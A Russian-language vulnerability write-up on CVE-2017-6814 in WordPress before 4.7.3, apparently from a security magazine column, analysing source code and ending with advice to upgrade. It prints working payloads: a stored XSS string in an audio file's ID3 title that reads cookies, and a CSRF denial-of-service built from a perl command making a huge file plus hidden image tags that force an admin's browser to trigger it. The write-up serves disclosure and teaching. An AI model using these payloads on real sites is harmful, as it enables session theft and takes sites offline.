CVE: CVE-2017-6814
Автор: Йорик Костер (Yorick Koster)
BRIEF
В WordPress версий до 4.7.3 возможен межсайтовый скриптинг из-за отсутствия проверки пользовательских данных, а именно ID3-тегов в загружаемых аудиофайлах. Также отсутствует ограничение на количество загружаемых URL и размер файлов, что открывает возможность для атак типа «отказ в обслуживании».
EXPLOIT
Для начала займемся XSS. Корень уязвимости кроется в том, что WordPress парсит ID3-теги загружаемых аудиофайлов. Из них он берет информацию о названии композиции, ее исполнителе, альбоме и тому подобные данные. Пару лет назад наша команда обнаружила XXE-уязвимость в механизме работы с тегами. Если ты ее пропустил или забыл, то рекомендую освежить в памяти и прочитать небольшой материал.
Я развернул WordPress версии 4.7.2 и создал MP3-файл длиной в одну секунду, где в качестве имени исполнителя буду использовать XSS.
XSS
Открываем код WordPress и видим, что функция wp_playlist_shortcode()
вызывается, когда в тексте есть шорт-тег .
1916: function wp_playlist_shortcode( $attr ) {
...
2124: add_shortcode( 'playlist', 'wp_playlist_shortcode' );
При вызове этого шорт-тега в параметре ids
передаются ID прикрепленных аудиофайлов. Затем на странице записи из них формируется плей-лист. Однако название трека никак не фильтруется — здесь и появляются возможности для проведения XSS.
Первая — при выводе плей-листа создается блок noscript
со списком файлов для скачивания. Это нужно на тот случай, если в браузере отключен JavaScript. Названия попадают в тег li
.
2112: <noscript>
2113: <ol><?php
2114: foreach ( $attachments as $att_id => $attachment ) {
2115: printf( '<li>%s</li>', wp_get_attachment_link( $att_id ) );
2116: }
2117: ?></ol>
2118: </noscript>
/wp-includes/post-template.php:
1495: function wp_get_attachment_link( $id = 0, $size = 'thumbnail', $permalink = false, $icon = false, $text = false, $attr = '' ) {
...
1514: if ( '' === trim( $link_text ) ) {
1515: $link_text = $_post->post_title;
1516: }
...
1534: return apply_filters( 'wp_get_attachment_link', "<a href='" . esc_url( $url ) . "'>$link_text</a>", $id, $size, $permalink, $icon, $text );
1535: }
Поставим в качестве названия трека следующую строку:
</noscript><script>alert(document.cookie)</script>
Теперь загружаем трек на сайт и указываем его ID в шорт-теге или выбираем в редакторе плей-листов. Вжух — и алерт уже можно наблюдать прямо тут, в редакторе.
Разумеется, на странице записи то же самое.
Вторая XSS типа DOM-based, название трека попадет прямиком в код JS-функции renderTracks()
.
/wp-includes/js/mediaelement/wp-playlist.js:
091: renderTracks : function () {
092: var self = this, i = 1, tracklist = $( '<div class="wp-playlist-tracks"></div>' );
093: this.tracks.each(function (model) {
094: if ( ! self.data.images ) {
095: model.set( 'image', false );
096: }
097: model.set( 'artists', self.data.artists );
098: model.set( 'index', self.data.tracknumbers ? i : false );
099: tracklist.append( self.itemTemplate( model.toJSON() ) );
100: i += 1;
101: });
102: this.$el.append( tracklist );
103:
104: this.$( '.wp-playlist-item' ).eq(0).addClass( this.playingClass );
105: },
Плей-листы с XSS могут создавать только пользователи, у которых есть флаг unfiltered_html
. По умолчанию это роли Admin и Editor. Вообще, необязательно загружать файл, который уже содержит эксплоит в ID3, можно просто переименовать любой существующий.
DoS
Переходим к следующей уязвимости — отказу в обслуживании. В WordPress есть такая штука, как Press This. Это что-то вроде Evernote, только данные со страницы попадают в запись в блоге. С передаваемого URL собираются всевозможные встраиваемые элементы типа картинок, видео и прочее. Эта функция не защищена токеном CSRF, поэтому, если администратор перейдет по ссылке /wp-admin/press-this.php?u=URL&url-scan-submit=Scan
, скрипт соберет данные с переданного URL и создаст черновик записи с ними.
Вот как это работает изнутри.
23: $wp_press_this = new WP_Press_This();
24: $wp_press_this->html();
/wp-admin/includes/class-wp-press-this.php:
1216: public function html() {
...
1221: // Get data, new (POST) and old (GET).
1222: $data = $this->merge_or_fetch_data();
/wp-admin/includes/class-wp-press-this.php:
720: if ( empty( $_POST ) && ! empty( $data['u'] ) ) {
721: $data = $this->source_data_fetch_fallback( $data['u'], $data );
/wp-admin/includes/class-wp-press-this.php:
571: public function source_data_fetch_fallback( $url, $data = array() ) {
...
576: // Download source page to tmp file.
577: $source_content = $this->fetch_source_html( $url );
...
605: // Fetch and gather <img> data.
...
610: if ( preg_match_all( '/<img [^>]+>/', $source_content, $matches ) ) {
611: $items = $this->_limit_array( $matches[0] );
Так как размеры загружаемых файлов не ограничиваются, мы можем вызвать отказ в обслуживании, создав огромные файлы. Например, так: perl -e 'print "<>"x28000000' > dosme.txt
.
Затем нужно заманить авторизованного администратора на вредоносную страницу, где под видом картинок будем отправлять запросы на уязвимый сервер.
<img src='http://<wp server>/wp-admin/press-this.php?u=http://<external server>/dosme.txt&url-scan-submit=Scan&a=b'>
<img src='http://<wp server>/wp-admin/press-this.php?u=http://<external server>/dosme.txt&url-scan-submit=Scan&a=c'>
<img src='http://<wp server>/wp-admin/press-this.php?u=http://<external server>/dosme.txt&url-scan-submit=Scan&a=d'>
<img src='http://<wp server>/wp-admin/press-this.php?u=http://<external server>/dosme.txt&url-scan-submit=Scan&a=e'>
<img src='http://<wp server>/wp-admin/press-this.php?u=http://<external server>/dosme.txt&url-scan-submit=Scan&a=f'>
<img src='http://<wp server>/wp-admin/press-this.php?u=http://<external server>/dosme.txt&url-scan-submit=Scan&a=g'>
Здесь <wp server>
— уязвимый сервер, <external server>
— сервер, где находится большой файл.
После посещения такой страницы сайт с WordPress станет недоступен.
TARGETS
WordPress < 4.7.3.
SOLUTION
Выпущена новая версия WordPress 4.7.3, где описанные уязвимости устранены. Обновляемся!